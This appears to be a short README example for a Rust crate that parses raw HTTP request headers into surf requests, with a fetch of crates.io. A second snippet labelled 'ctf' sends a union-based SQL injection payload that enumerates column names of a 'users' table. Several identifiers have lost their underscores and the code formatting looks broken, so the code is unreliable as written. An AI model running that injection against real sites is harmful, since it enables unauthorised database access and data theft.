sh
cargo add tokio -F full
cargo add surf_header
cargo add surf
cargo add doe
```rust
async fn main() {
use std::collections::BTreeMap;
use surfheader::Header;
use surfheader::parsetosurfheader;
let h = r##"
GET / HTTP/1.1
Host: crates.io
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://crates.io/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
"##;
let info = parsetosurfheader(h).unwrap();
let mut req = surf::get(info.url).build();
req.headers(info.headers);
let client = surf::Client::new();
let mut res = client.send(req).await.unwrap();
println!("{:?}",res.bodystring().await.unwrap());
}
rust
pub async fn ctf(){
let get = async move |url:&str|url.tostring().send("GET").await.unwrap().bodystring().await.unwrap().print();
get("url/?id=-1'union select 1,2,groupconcat(columnname) from informationschema.columns where table_name='users'--+").await;
}
```